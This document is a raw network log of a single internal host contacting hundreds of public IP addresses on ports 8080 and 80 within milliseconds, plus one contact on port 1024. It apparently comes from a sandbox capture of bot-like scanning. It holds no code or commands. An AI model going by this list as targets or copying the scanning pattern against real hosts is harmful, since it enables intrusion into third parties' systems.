Mar 4, 2024 15:05:30.146868944 CET	47577	8080	192.168.2.13	31.197.84.107
Mar 4, 2024 15:05:30.146879911 CET	47577	8080	192.168.2.13	94.143.153.17
Mar 4, 2024 15:05:30.146884918 CET	47577	8080	192.168.2.13	31.127.125.232
Mar 4, 2024 15:05:30.146884918 CET	47577	8080	192.168.2.13	94.64.209.26
Mar 4, 2024 15:05:30.146898031 CET	47577	8080	192.168.2.13	85.102.176.41
Mar 4, 2024 15:05:30.146919966 CET	47577	8080	192.168.2.13	85.136.132.129
Mar 4, 2024 15:05:30.146922112 CET	47577	8080	192.168.2.13	31.69.72.55
Mar 4, 2024 15:05:30.146924973 CET	47577	8080	192.168.2.13	95.64.117.168
Mar 4, 2024 15:05:30.146925926 CET	47577	8080	192.168.2.13	85.81.180.56
Mar 4, 2024 15:05:30.146934032 CET	47577	8080	192.168.2.13	94.119.3.187
Mar 4, 2024 15:05:30.146955013 CET	47577	8080	192.168.2.13	31.163.14.36
Mar 4, 2024 15:05:30.146960020 CET	47577	8080	192.168.2.13	95.203.129.54
Mar 4, 2024 15:05:30.146970987 CET	47577	8080	192.168.2.13	62.102.194.77
Mar 4, 2024 15:05:30.146992922 CET	47577	8080	192.168.2.13	85.101.199.124
Mar 4, 2024 15:05:30.146995068 CET	47577	8080	192.168.2.13	95.125.18.48
Mar 4, 2024 15:05:30.146995068 CET	47577	8080	192.168.2.13	95.181.200.74
Mar 4, 2024 15:05:30.147005081 CET	47577	8080	192.168.2.13	95.174.102.86
Mar 4, 2024 15:05:30.147008896 CET	47577	8080	192.168.2.13	62.236.45.59
Mar 4, 2024 15:05:30.147008896 CET	47577	8080	192.168.2.13	85.116.84.193
Mar 4, 2024 15:05:30.147021055 CET	47577	8080	192.168.2.13	85.109.103.44
Mar 4, 2024 15:05:30.147041082 CET	47577	8080	192.168.2.13	31.95.107.230
Mar 4, 2024 15:05:30.147053003 CET	47577	8080	192.168.2.13	62.112.155.155
Mar 4, 2024 15:05:30.147058964 CET	47577	8080	192.168.2.13	94.151.220.126
Mar 4, 2024 15:05:30.147073030 CET	47577	8080	192.168.2.13	95.165.156.213
Mar 4, 2024 15:05:30.147074938 CET	47577	8080	192.168.2.13	85.164.122.243
Mar 4, 2024 15:05:30.147079945 CET	47577	8080	192.168.2.13	31.206.107.210
Mar 4, 2024 15:05:30.147082090 CET	47577	8080	192.168.2.13	62.106.152.72
Mar 4, 2024 15:05:30.147113085 CET	47577	8080	192.168.2.13	62.86.35.81
Mar 4, 2024 15:05:30.147195101 CET	47577	8080	192.168.2.13	85.173.197.182
Mar 4, 2024 15:05:30.147201061 CET	47577	8080	192.168.2.13	85.124.211.176
Mar 4, 2024 15:05:30.147211075 CET	47577	8080	192.168.2.13	94.113.40.50
Mar 4, 2024 15:05:30.147219896 CET	47577	8080	192.168.2.13	94.45.172.156
Mar 4, 2024 15:05:30.147241116 CET	47577	8080	192.168.2.13	31.22.118.133
Mar 4, 2024 15:05:30.147247076 CET	47577	8080	192.168.2.13	85.236.29.130
Mar 4, 2024 15:05:30.147247076 CET	47577	8080	192.168.2.13	95.22.160.78
Mar 4, 2024 15:05:30.147247076 CET	47577	8080	192.168.2.13	62.226.135.128
Mar 4, 2024 15:05:30.147249937 CET	47577	8080	192.168.2.13	31.40.89.67
Mar 4, 2024 15:05:30.147275925 CET	47577	8080	192.168.2.13	31.30.41.112
Mar 4, 2024 15:05:30.147283077 CET	47577	8080	192.168.2.13	31.154.106.164
Mar 4, 2024 15:05:30.147285938 CET	47577	8080	192.168.2.13	31.200.71.17
Mar 4, 2024 15:05:30.147286892 CET	47577	8080	192.168.2.13	31.209.71.211
Mar 4, 2024 15:05:30.147301912 CET	47577	8080	192.168.2.13	62.177.129.103
Mar 4, 2024 15:05:30.147306919 CET	47577	8080	192.168.2.13	62.163.194.188
Mar 4, 2024 15:05:30.147306919 CET	47577	8080	192.168.2.13	62.214.143.209
Mar 4, 2024 15:05:30.147310019 CET	47577	8080	192.168.2.13	94.109.70.182
Mar 4, 2024 15:05:30.147325039 CET	47577	8080	192.168.2.13	62.162.75.120
Mar 4, 2024 15:05:30.147340059 CET	47577	8080	192.168.2.13	94.167.183.21
Mar 4, 2024 15:05:30.147351980 CET	47577	8080	192.168.2.13	85.91.76.221
Mar 4, 2024 15:05:30.147352934 CET	47577	8080	192.168.2.13	85.221.248.215
Mar 4, 2024 15:05:30.147351980 CET	47577	8080	192.168.2.13	85.180.189.104
Mar 4, 2024 15:05:30.147360086 CET	47577	8080	192.168.2.13	94.111.165.191
Mar 4, 2024 15:05:30.147372007 CET	47577	8080	192.168.2.13	85.216.201.212
Mar 4, 2024 15:05:30.147378922 CET	47577	8080	192.168.2.13	62.176.87.227
Mar 4, 2024 15:05:30.147386074 CET	47577	8080	192.168.2.13	31.76.147.147
Mar 4, 2024 15:05:30.147397995 CET	47577	8080	192.168.2.13	31.62.167.89
Mar 4, 2024 15:05:30.147422075 CET	47577	8080	192.168.2.13	62.109.229.43
Mar 4, 2024 15:05:30.147427082 CET	47577	8080	192.168.2.13	62.29.88.97
Mar 4, 2024 15:05:30.147449017 CET	47577	8080	192.168.2.13	31.148.161.132
Mar 4, 2024 15:05:30.147448063 CET	47577	8080	192.168.2.13	94.102.176.165
Mar 4, 2024 15:05:30.147448063 CET	47577	8080	192.168.2.13	85.60.229.197
Mar 4, 2024 15:05:30.147461891 CET	47577	8080	192.168.2.13	31.63.80.191
Mar 4, 2024 15:05:30.147464037 CET	47577	8080	192.168.2.13	62.207.182.184
Mar 4, 2024 15:05:30.147464037 CET	47577	8080	192.168.2.13	31.228.96.61
Mar 4, 2024 15:05:30.147505999 CET	47577	8080	192.168.2.13	62.206.80.105
Mar 4, 2024 15:05:30.147516012 CET	47577	8080	192.168.2.13	95.246.38.25
Mar 4, 2024 15:05:30.147516012 CET	47577	8080	192.168.2.13	94.78.82.160
Mar 4, 2024 15:05:30.147522926 CET	47577	8080	192.168.2.13	62.8.100.230
Mar 4, 2024 15:05:30.147525072 CET	47577	8080	192.168.2.13	95.71.255.122
Mar 4, 2024 15:05:30.147543907 CET	47577	8080	192.168.2.13	85.219.76.190
Mar 4, 2024 15:05:30.147546053 CET	47577	8080	192.168.2.13	85.178.95.222
Mar 4, 2024 15:05:30.147578955 CET	47577	8080	192.168.2.13	95.242.196.152
Mar 4, 2024 15:05:30.147579908 CET	47577	8080	192.168.2.13	62.237.78.35
Mar 4, 2024 15:05:30.147593975 CET	47577	8080	192.168.2.13	31.23.30.154
Mar 4, 2024 15:05:30.147603989 CET	47577	8080	192.168.2.13	85.167.35.144
Mar 4, 2024 15:05:30.147613049 CET	47577	8080	192.168.2.13	95.222.118.39
Mar 4, 2024 15:05:30.147619009 CET	47577	8080	192.168.2.13	94.187.191.161
Mar 4, 2024 15:05:30.147619009 CET	47577	8080	192.168.2.13	85.41.109.32
Mar 4, 2024 15:05:30.147638083 CET	47577	8080	192.168.2.13	95.248.253.194
Mar 4, 2024 15:05:30.147650957 CET	47577	8080	192.168.2.13	95.178.227.137
Mar 4, 2024 15:05:30.147674084 CET	47577	8080	192.168.2.13	94.186.8.223
Mar 4, 2024 15:05:30.147675037 CET	47577	8080	192.168.2.13	94.107.129.67
Mar 4, 2024 15:05:30.147675037 CET	47577	8080	192.168.2.13	62.183.48.92
Mar 4, 2024 15:05:30.147677898 CET	47577	8080	192.168.2.13	85.151.103.220
Mar 4, 2024 15:05:30.147690058 CET	47577	8080	192.168.2.13	95.112.123.12
Mar 4, 2024 15:05:30.147701025 CET	47577	8080	192.168.2.13	95.167.229.50
Mar 4, 2024 15:05:30.147722960 CET	47577	8080	192.168.2.13	62.207.142.20
Mar 4, 2024 15:05:30.147742033 CET	47577	8080	192.168.2.13	62.178.176.140
Mar 4, 2024 15:05:30.147742987 CET	47577	8080	192.168.2.13	62.254.159.86
Mar 4, 2024 15:05:30.147744894 CET	47577	8080	192.168.2.13	94.73.204.80
Mar 4, 2024 15:05:30.147746086 CET	47577	8080	192.168.2.13	94.82.167.254
Mar 4, 2024 15:05:30.147769928 CET	47577	8080	192.168.2.13	85.113.254.237
Mar 4, 2024 15:05:30.147773027 CET	47577	8080	192.168.2.13	62.70.100.235
Mar 4, 2024 15:05:30.147773027 CET	47577	8080	192.168.2.13	94.127.78.104
Mar 4, 2024 15:05:30.147777081 CET	47577	8080	192.168.2.13	95.236.255.163
Mar 4, 2024 15:05:30.147777081 CET	47577	8080	192.168.2.13	85.99.34.244
Mar 4, 2024 15:05:30.147777081 CET	47577	8080	192.168.2.13	95.37.3.162
Mar 4, 2024 15:05:30.147792101 CET	47577	8080	192.168.2.13	94.217.175.170
Mar 4, 2024 15:05:30.147809982 CET	47577	8080	192.168.2.13	95.143.24.15
Mar 4, 2024 15:05:30.147809982 CET	47577	8080	192.168.2.13	85.36.203.16
Mar 4, 2024 15:05:30.147809982 CET	47577	8080	192.168.2.13	85.252.117.163
Mar 4, 2024 15:05:30.147810936 CET	47577	8080	192.168.2.13	85.43.182.184
Mar 4, 2024 15:05:30.147824049 CET	47577	8080	192.168.2.13	31.19.176.243
Mar 4, 2024 15:05:30.147841930 CET	47577	8080	192.168.2.13	62.19.132.209
Mar 4, 2024 15:05:30.147845984 CET	47577	8080	192.168.2.13	85.83.169.118
Mar 4, 2024 15:05:30.147857904 CET	47577	8080	192.168.2.13	95.15.222.168
Mar 4, 2024 15:05:30.147875071 CET	47577	8080	192.168.2.13	31.167.19.57
Mar 4, 2024 15:05:30.147876024 CET	47577	8080	192.168.2.13	94.157.147.143
Mar 4, 2024 15:05:30.147877932 CET	47577	8080	192.168.2.13	62.210.13.91
Mar 4, 2024 15:05:30.147897005 CET	47577	8080	192.168.2.13	62.235.174.89
Mar 4, 2024 15:05:30.147902012 CET	47577	8080	192.168.2.13	85.243.251.133
Mar 4, 2024 15:05:30.147907972 CET	47577	8080	192.168.2.13	31.222.5.197
Mar 4, 2024 15:05:30.147924900 CET	47577	8080	192.168.2.13	62.27.7.138
Mar 4, 2024 15:05:30.147943974 CET	47577	8080	192.168.2.13	95.15.13.250
Mar 4, 2024 15:05:30.147947073 CET	47577	8080	192.168.2.13	31.53.240.63
Mar 4, 2024 15:05:30.147958040 CET	47577	8080	192.168.2.13	94.181.3.243
Mar 4, 2024 15:05:30.147959948 CET	47577	8080	192.168.2.13	31.192.154.35
Mar 4, 2024 15:05:30.147973061 CET	47577	8080	192.168.2.13	85.215.250.19
Mar 4, 2024 15:05:30.147985935 CET	47577	8080	192.168.2.13	62.142.193.170
Mar 4, 2024 15:05:30.147988081 CET	47577	8080	192.168.2.13	95.97.250.105
Mar 4, 2024 15:05:30.147994041 CET	47577	8080	192.168.2.13	94.24.69.142
Mar 4, 2024 15:05:30.147994041 CET	47577	8080	192.168.2.13	94.75.103.137
Mar 4, 2024 15:05:30.147996902 CET	47577	8080	192.168.2.13	31.54.96.230
Mar 4, 2024 15:05:30.147999048 CET	47577	8080	192.168.2.13	85.1.24.209
Mar 4, 2024 15:05:30.148030043 CET	47577	8080	192.168.2.13	95.138.33.206
Mar 4, 2024 15:05:30.148034096 CET	47577	8080	192.168.2.13	95.232.222.80
Mar 4, 2024 15:05:30.148036957 CET	47577	8080	192.168.2.13	95.156.116.105
Mar 4, 2024 15:05:30.148036957 CET	47577	8080	192.168.2.13	95.9.141.78
Mar 4, 2024 15:05:30.148041964 CET	47577	8080	192.168.2.13	62.31.89.43
Mar 4, 2024 15:05:30.148056984 CET	47577	8080	192.168.2.13	95.9.163.216
Mar 4, 2024 15:05:30.148070097 CET	47577	8080	192.168.2.13	62.242.72.154
Mar 4, 2024 15:05:30.148071051 CET	47577	8080	192.168.2.13	85.94.192.127
Mar 4, 2024 15:05:30.148082972 CET	47577	8080	192.168.2.13	95.235.254.253
Mar 4, 2024 15:05:30.148086071 CET	47577	8080	192.168.2.13	95.79.34.238
Mar 4, 2024 15:05:30.148087025 CET	47577	8080	192.168.2.13	85.70.77.175
Mar 4, 2024 15:05:30.148108959 CET	47577	8080	192.168.2.13	95.41.222.20
Mar 4, 2024 15:05:30.148114920 CET	47577	8080	192.168.2.13	95.107.100.21
Mar 4, 2024 15:05:30.148133039 CET	47577	8080	192.168.2.13	62.44.170.112
Mar 4, 2024 15:05:30.148142099 CET	47577	8080	192.168.2.13	85.185.17.252
Mar 4, 2024 15:05:30.148154020 CET	47577	8080	192.168.2.13	95.234.182.158
Mar 4, 2024 15:05:30.148149967 CET	47577	8080	192.168.2.13	94.201.2.176
Mar 4, 2024 15:05:30.148154020 CET	47577	8080	192.168.2.13	95.169.143.192
Mar 4, 2024 15:05:30.148159981 CET	47577	8080	192.168.2.13	85.140.47.95
Mar 4, 2024 15:05:30.148184061 CET	47577	8080	192.168.2.13	31.231.231.25
Mar 4, 2024 15:05:30.148183107 CET	47577	8080	192.168.2.13	95.254.199.22
Mar 4, 2024 15:05:30.148184061 CET	47577	8080	192.168.2.13	31.109.131.123
Mar 4, 2024 15:05:30.148217916 CET	47577	8080	192.168.2.13	62.121.244.24
Mar 4, 2024 15:05:30.148217916 CET	47577	8080	192.168.2.13	85.109.56.226
Mar 4, 2024 15:05:30.148225069 CET	47577	8080	192.168.2.13	95.248.212.62
Mar 4, 2024 15:05:30.148225069 CET	47577	8080	192.168.2.13	94.164.18.41
Mar 4, 2024 15:05:30.148246050 CET	47577	8080	192.168.2.13	95.101.250.142
Mar 4, 2024 15:05:30.148257971 CET	47577	8080	192.168.2.13	85.217.167.20
Mar 4, 2024 15:05:30.148262024 CET	47577	8080	192.168.2.13	94.8.120.53
Mar 4, 2024 15:05:30.148263931 CET	47577	8080	192.168.2.13	94.212.128.51
Mar 4, 2024 15:05:30.148263931 CET	47577	8080	192.168.2.13	31.66.166.130
Mar 4, 2024 15:05:30.148268938 CET	47577	8080	192.168.2.13	85.187.3.30
Mar 4, 2024 15:05:30.148288012 CET	47577	8080	192.168.2.13	85.240.72.97
Mar 4, 2024 15:05:30.148293018 CET	47577	8080	192.168.2.13	94.38.40.51
Mar 4, 2024 15:05:30.148297071 CET	47577	8080	192.168.2.13	62.115.168.72
Mar 4, 2024 15:05:30.148300886 CET	47577	8080	192.168.2.13	94.203.165.178
Mar 4, 2024 15:05:30.148300886 CET	47577	8080	192.168.2.13	85.223.50.36
Mar 4, 2024 15:05:30.148332119 CET	47577	8080	192.168.2.13	31.49.38.133
Mar 4, 2024 15:05:30.148335934 CET	47577	8080	192.168.2.13	31.37.246.138
Mar 4, 2024 15:05:30.148343086 CET	48089	80	192.168.2.13	88.235.209.181
Mar 4, 2024 15:05:30.148350000 CET	47577	8080	192.168.2.13	85.59.162.218
Mar 4, 2024 15:05:30.148355007 CET	48089	80	192.168.2.13	88.160.126.63
Mar 4, 2024 15:05:30.148360014 CET	48089	80	192.168.2.13	88.64.60.112
Mar 4, 2024 15:05:30.148365021 CET	47577	8080	192.168.2.13	85.105.237.58
Mar 4, 2024 15:05:30.148365021 CET	48089	80	192.168.2.13	88.18.184.62
Mar 4, 2024 15:05:30.148380995 CET	47577	8080	192.168.2.13	31.241.26.36
Mar 4, 2024 15:05:30.148396015 CET	47577	8080	192.168.2.13	94.82.15.3
Mar 4, 2024 15:05:30.148396015 CET	47577	8080	192.168.2.13	31.201.247.70
Mar 4, 2024 15:05:30.148396015 CET	47577	8080	192.168.2.13	85.22.217.107
Mar 4, 2024 15:05:30.148396015 CET	48089	80	192.168.2.13	88.154.23.192
Mar 4, 2024 15:05:30.148399115 CET	48089	80	192.168.2.13	88.239.209.84
Mar 4, 2024 15:05:30.148427963 CET	48089	80	192.168.2.13	88.198.242.89
Mar 4, 2024 15:05:30.148432016 CET	47577	8080	192.168.2.13	95.111.80.165
Mar 4, 2024 15:05:30.148432970 CET	48089	80	192.168.2.13	88.50.16.13
Mar 4, 2024 15:05:30.148442984 CET	47577	8080	192.168.2.13	62.198.206.89
Mar 4, 2024 15:05:30.148446083 CET	47577	8080	192.168.2.13	95.156.63.17
Mar 4, 2024 15:05:30.148453951 CET	47577	8080	192.168.2.13	31.121.209.2
Mar 4, 2024 15:05:30.148463964 CET	47577	8080	192.168.2.13	85.226.231.52
Mar 4, 2024 15:05:30.148463964 CET	47577	8080	192.168.2.13	95.246.239.36
Mar 4, 2024 15:05:30.148485899 CET	47577	8080	192.168.2.13	62.118.17.79
Mar 4, 2024 15:05:30.148492098 CET	47577	8080	192.168.2.13	94.228.54.157
Mar 4, 2024 15:05:30.148492098 CET	47577	8080	192.168.2.13	95.12.74.105
Mar 4, 2024 15:05:30.148495913 CET	47577	8080	192.168.2.13	31.233.113.200
Mar 4, 2024 15:05:30.148495913 CET	47577	8080	192.168.2.13	94.203.4.171
Mar 4, 2024 15:05:30.148500919 CET	47577	8080	192.168.2.13	62.123.92.19
Mar 4, 2024 15:05:30.148528099 CET	47577	8080	192.168.2.13	62.185.239.130
Mar 4, 2024 15:05:30.148526907 CET	47577	8080	192.168.2.13	94.192.231.221
Mar 4, 2024 15:05:30.148529053 CET	47577	8080	192.168.2.13	62.203.212.135
Mar 4, 2024 15:05:30.148531914 CET	47577	8080	192.168.2.13	95.134.46.163
Mar 4, 2024 15:05:30.148534060 CET	47577	8080	192.168.2.13	94.57.119.65
Mar 4, 2024 15:05:30.148546934 CET	47577	8080	192.168.2.13	94.186.23.58
Mar 4, 2024 15:05:30.148560047 CET	47577	8080	192.168.2.13	62.127.204.137
Mar 4, 2024 15:05:30.148562908 CET	48089	80	192.168.2.13	88.155.68.188
Mar 4, 2024 15:05:30.148562908 CET	47577	8080	192.168.2.13	94.116.171.97
Mar 4, 2024 15:05:30.148562908 CET	48089	80	192.168.2.13	88.115.158.210
Mar 4, 2024 15:05:30.148571968 CET	47577	8080	192.168.2.13	85.231.147.188
Mar 4, 2024 15:05:30.148571968 CET	47577	8080	192.168.2.13	62.96.244.53
Mar 4, 2024 15:05:30.148586988 CET	47577	8080	192.168.2.13	94.180.75.178
Mar 4, 2024 15:05:30.148586988 CET	47577	8080	192.168.2.13	31.76.73.153
Mar 4, 2024 15:05:30.148586988 CET	47577	8080	192.168.2.13	95.9.31.135
Mar 4, 2024 15:05:30.148586988 CET	48089	80	192.168.2.13	88.53.75.148
Mar 4, 2024 15:05:30.148587942 CET	48089	80	192.168.2.13	88.87.101.34
Mar 4, 2024 15:05:30.148601055 CET	48089	80	192.168.2.13	88.7.201.233
Mar 4, 2024 15:05:30.148603916 CET	48089	80	192.168.2.13	88.161.69.242
Mar 4, 2024 15:05:30.148606062 CET	48089	80	192.168.2.13	88.93.97.118
Mar 4, 2024 15:05:30.148619890 CET	48089	80	192.168.2.13	88.138.152.96
Mar 4, 2024 15:05:30.148631096 CET	48089	80	192.168.2.13	88.26.130.67
Mar 4, 2024 15:05:30.148643970 CET	47577	8080	192.168.2.13	31.168.121.25
Mar 4, 2024 15:05:30.148644924 CET	47577	8080	192.168.2.13	95.91.189.148
Mar 4, 2024 15:05:30.148646116 CET	47577	8080	192.168.2.13	62.50.46.85
Mar 4, 2024 15:05:30.148658037 CET	47577	8080	192.168.2.13	85.177.159.10
Mar 4, 2024 15:05:30.148669004 CET	47577	8080	192.168.2.13	31.151.37.153
Mar 4, 2024 15:05:30.148669004 CET	47577	8080	192.168.2.13	31.91.84.194
Mar 4, 2024 15:05:30.148679018 CET	47577	8080	192.168.2.13	85.117.232.29
Mar 4, 2024 15:05:30.148680925 CET	39938	1024	192.168.2.13	45.142.107.38
Mar 4, 2024 15:05:30.148691893 CET	47577	8080	192.168.2.13	94.153.214.217
Mar 4, 2024 15:05:30.148694038 CET	47577	8080	192.168.2.13	62.220.0.189
Mar 4, 2024 15:05:30.148708105 CET	47577	8080	192.168.2.13	31.197.90.80
Mar 4, 2024 15:05:30.148710966 CET	47577	8080	192.168.2.13	85.29.132.6
Mar 4, 2024 15:05:30.148722887 CET	47577	8080	192.168.2.13	85.144.197.82
Mar 4, 2024 15:05:30.148736000 CET	47577	8080	192.168.2.13	94.241.15.174
Mar 4, 2024 15:05:30.148739100 CET	47577	8080	192.168.2.13	95.9.209.184
Mar 4, 2024 15:05:30.148746014 CET	47577	8080	192.168.2.13	62.164.128.236
Mar 4, 2024 15:05:30.148761034 CET	47577	8080	192.168.2.13	95.108.224.9
Mar 4, 2024 15:05:30.148766041 CET	47577	8080	192.168.2.13	62.223.137.64
Mar 4, 2024 15:05:30.148767948 CET	47577	8080	192.168.2.13	62.225.50.194
Mar 4, 2024 15:05:30.148771048 CET	47577	8080	192.168.2.13	94.148.145.34
Mar 4, 2024 15:05:30.148781061 CET	47577	8080	192.168.2.13	95.213.109.149
Mar 4, 2024 15:05:30.148787022 CET	47577	8080	192.168.2.13	85.234.173.178
Mar 4, 2024 15:05:30.148796082 CET	47577	8080	192.168.2.13	94.20.196.106
Mar 4, 2024 15:05:30.148814917 CET	47577	8080	192.168.2.13	85.53.45.106
Mar 4, 2024 15:05:30.148818970 CET	47577	8080	192.168.2.13	62.78.233.151
Mar 4, 2024 15:05:30.148827076 CET	47577	8080	192.168.2.13	95.198.165.219
Mar 4, 2024 15:05:30.148838997 CET	47577	8080	192.168.2.13	85.14.158.179
Mar 4, 2024 15:05:30.148844004 CET	47577	8080	192.168.2.13	62.86.181.98
Mar 4, 2024 15:05:30.148844004 CET	47577	8080	192.168.2.13	95.193.78.144
Mar 4, 2024 15:05:30.148861885 CET	47577	8080	192.168.2.13	85.235.244.70
Mar 4, 2024 15:05:30.148868084 CET	47577	8080	192.168.2.13	95.153.74.157
Mar 4, 2024 15:05:30.148868084 CET	47577	8080	192.168.2.13	95.237.103.36
Mar 4, 2024 15:05:30.148883104 CET	47577	8080	192.168.2.13	94.154.254.81
Mar 4, 2024 15:05:30.148884058 CET	47577	8080	192.168.2.13	62.143.156.218
Mar 4, 2024 15:05:30.148885012 CET	47577	8080	192.168.2.13	94.195.142.93
Mar 4, 2024 15:05:30.148894072 CET	47577	8080	192.168.2.13	62.217.12.222
Mar 4, 2024 15:05:30.148904085 CET	47577	8080	192.168.2.13	85.127.239.55
Mar 4, 2024 15:05:30.148905039 CET	47577	8080	192.168.2.13	94.198.131.193
Mar 4, 2024 15:05:30.148930073 CET	47577	8080	192.168.2.13	62.130.60.111
Mar 4, 2024 15:05:30.148932934 CET	47577	8080	192.168.2.13	85.175.161.252
Mar 4, 2024 15:05:30.148931980 CET	47577	8080	192.168.2.13	94.99.161.48
Mar 4, 2024 15:05:30.148932934 CET	47577	8080	192.168.2.13	31.253.71.74
Mar 4, 2024 15:05:30.148943901 CET	47577	8080	192.168.2.13	62.205.26.252
Mar 4, 2024 15:05:30.148956060 CET	47577	8080	192.168.2.13	31.148.142.88
Mar 4, 2024 15:05:30.148957968 CET	47577	8080	192.168.2.13	94.25.28.220
Mar 4, 2024 15:05:30.148971081 CET	47577	8080	192.168.2.13	62.182.27.74
Mar 4, 2024 15:05:30.148972988 CET	47577	8080	192.168.2.13	85.93.100.141
Mar 4, 2024 15:05:30.148986101 CET	47577	8080	192.168.2.13	31.104.166.224
Mar 4, 2024 15:05:30.148994923 CET	47577	8080	192.168.2.13	95.222.45.156
Mar 4, 2024 15:05:30.149008989 CET	47577	8080	192.168.2.13	31.67.106.213
Mar 4, 2024 15:05:30.149012089 CET	47577	8080	192.168.2.13	31.92.24.194
Mar 4, 2024 15:05:30.149029970 CET	47577	8080	192.168.2.13	62.147.0.30
Mar 4, 2024 15:05:30.149033070 CET	47577	8080	192.168.2.13	95.125.116.160
Mar 4, 2024 15:05:30.149034977 CET	47577	8080	192.168.2.13	85.44.29.170
Mar 4, 2024 15:05:30.149034023 CET	47577	8080	192.168.2.13	85.246.141.153
Mar 4, 2024 15:05:30.149034977 CET	47577	8080	192.168.2.13	94.65.201.179
Mar 4, 2024 15:05:30.149049997 CET	47577	8080	192.168.2.13	31.24.69.206
Mar 4, 2024 15:05:30.149055004 CET	47577	8080	192.168.2.13	31.169.42.43
Mar 4, 2024 15:05:30.149064064 CET	47577	8080	192.168.2.13	62.144.192.151
Mar 4, 2024 15:05:30.149084091 CET	47577	8080	192.168.2.13	62.132.197.29
Mar 4, 2024 15:05:30.149085045 CET	47577	8080	192.168.2.13	95.239.49.144
Mar 4, 2024 15:05:30.149085999 CET	47577	8080	192.168.2.13	31.107.92.25
Mar 4, 2024 15:05:30.149086952 CET	47577	8080	192.168.2.13	62.42.167.138
Mar 4, 2024 15:05:30.149086952 CET	47577	8080	192.168.2.13	94.0.151.134
Mar 4, 2024 15:05:30.149096012 CET	47577	8080	192.168.2.13	85.191.66.7
Mar 4, 2024 15:05:30.149113894 CET	47577	8080	192.168.2.13	62.66.109.230
Mar 4, 2024 15:05:30.149116039 CET	47577	8080	192.168.2.13	85.169.9.185
Mar 4, 2024 15:05:30.149116039 CET	47577	8080	192.168.2.13	85.126.135.35
Mar 4, 2024 15:05:30.149127007 CET	47577	8080	192.168.2.13	85.149.110.36
Mar 4, 2024 15:05:30.149139881 CET	47577	8080	192.168.2.13	62.27.146.84
Mar 4, 2024 15:05:30.149141073 CET	47577	8080	192.168.2.13	94.37.116.100
Mar 4, 2024 15:05:30.149153948 CET	47577	8080	192.168.2.13	31.122.252.47
Mar 4, 2024 15:05:30.149166107 CET	47577	8080	192.168.2.13	95.120.123.88
Mar 4, 2024 15:05:30.149164915 CET	47577	8080	192.168.2.13	94.81.224.193
Mar 4, 2024 15:05:30.149178028 CET	47577	8080	192.168.2.13	94.214.173.95
Mar 4, 2024 15:05:30.149182081 CET	47577	8080	192.168.2.13	31.2.97.72
Mar 4, 2024 15:05:30.149195910 CET	47577	8080	192.168.2.13	85.211.177.124
Mar 4, 2024 15:05:30.149199963 CET	47577	8080	192.168.2.13	95.192.12.144
Mar 4, 2024 15:05:30.149202108 CET	47577	8080	192.168.2.13	94.62.133.198
Mar 4, 2024 15:05:30.149214029 CET	47577	8080	192.168.2.13	85.88.177.122
Mar 4, 2024 15:05:30.149224997 CET	47577	8080	192.168.2.13	31.41.128.226
Mar 4, 2024 15:05:30.149229050 CET	47577	8080	192.168.2.13	85.250.0.102
Mar 4, 2024 15:05:30.149230957 CET	47577	8080	192.168.2.13	62.126.239.97
Mar 4, 2024 15:05:30.149235964 CET	47577	8080	192.168.2.13	62.73.75.154
Mar 4, 2024 15:05:30.149259090 CET	47577	8080	192.168.2.13	94.136.87.42
Mar 4, 2024 15:05:30.149260998 CET	47577	8080	192.168.2.13	85.105.109.250
Mar 4, 2024 15:05:30.149261951 CET	47577	8080	192.168.2.13	31.108.183.116
Mar 4, 2024 15:05:30.149260998 CET	47577	8080	192.168.2.13	31.238.195.48
Mar 4, 2024 15:05:30.149271011 CET	47577	8080	192.168.2.13	94.105.4.135
Mar 4, 2024 15:05:30.149274111 CET	47577	8080	192.168.2.13	31.123.132.139
Mar 4, 2024 15:05:30.149286985 CET	47577	8080	192.168.2.13	94.145.197.58
Mar 4, 2024 15:05:30.149286985 CET	47577	8080	192.168.2.13	31.200.21.219
Mar 4, 2024 15:05:30.149287939 CET	47577	8080	192.168.2.13	85.145.184.141
Mar 4, 2024 15:05:30.149305105 CET	47577	8080	192.168.2.13	94.93.77.182
Mar 4, 2024 15:05:30.149311066 CET	47577	8080	192.168.2.13	31.33.59.47
Mar 4, 2024 15:05:30.149311066 CET	47577	8080	192.168.2.13	94.170.87.255
Mar 4, 2024 15:05:30.149316072 CET	47577	8080	192.168.2.13	95.66.218.33
Mar 4, 2024 15:05:30.149336100 CET	47577	8080	192.168.2.13	95.254.209.90
Mar 4, 2024 15:05:30.149336100 CET	47577	8080	192.168.2.13	94.151.120.121
Mar 4, 2024 15:05:30.149342060 CET	47577	8080	192.168.2.13	95.10.146.169
Mar 4, 2024 15:05:30.149343967 CET	47577	8080	192.168.2.13	85.32.85.91
Mar 4, 2024 15:05:30.149363041 CET	47577	8080	192.168.2.13	62.3.241.90
Mar 4, 2024 15:05:30.149364948 CET	47577	8080	192.168.2.13	85.112.250.151
Mar 4, 2024 15:05:30.149364948 CET	47577	8080	192.168.2.13	62.153.213.102
Mar 4, 2024 15:05:30.149367094 CET	47577	8080	192.168.2.13	94.76.94.8
Mar 4, 2024 15:05:30.149367094 CET	47577	8080	192.168.2.13	85.67.208.74
Mar 4, 2024 15:05:30.149377108 CET	47577	8080	192.168.2.13	31.193.156.134
Mar 4, 2024 15:05:30.149382114 CET	47577	8080	192.168.2.13	94.29.14.156
Mar 4, 2024 15:05:30.149395943 CET	47577	8080	192.168.2.13	85.156.6.112
Mar 4, 2024 15:05:30.149398088 CET	47577	8080	192.168.2.13	85.33.76.187
Mar 4, 2024 15:05:30.149420977 CET	47577	8080	192.168.2.13	85.128.21.50
Mar 4, 2024 15:05:30.149420977 CET	47577	8080	192.168.2.13	95.16.121.250
Mar 4, 2024 15:05:30.149430037 CET	47577	8080	192.168.2.13	85.106.121.18
Mar 4, 2024 15:05:30.149430037 CET	47577	8080	192.168.2.13	62.103.78.163
Mar 4, 2024 15:05:30.149430037 CET	47577	8080	192.168.2.13	94.117.240.133
Mar 4, 2024 15:05:30.149441004 CET	47577	8080	192.168.2.13	94.99.250.236
Mar 4, 2024 15:05:30.149458885 CET	47577	8080	192.168.2.13	94.44.99.176
Mar 4, 2024 15:05:30.149466991 CET	47577	8080	192.168.2.13	85.74.38.158
Mar 4, 2024 15:05:30.149471045 CET	47577	8080	192.168.2.13	85.42.212.82
Mar 4, 2024 15:05:30.149477005 CET	47577	8080	192.168.2.13	95.46.8.129
Mar 4, 2024 15:05:30.149491072 CET	47577	8080	192.168.2.13	31.72.146.72
Mar 4, 2024 15:05:30.149491072 CET	47577	8080	192.168.2.13	94.78.4.51
Mar 4, 2024 15:05:30.149501085 CET	47577	8080	192.168.2.13	31.143.36.33
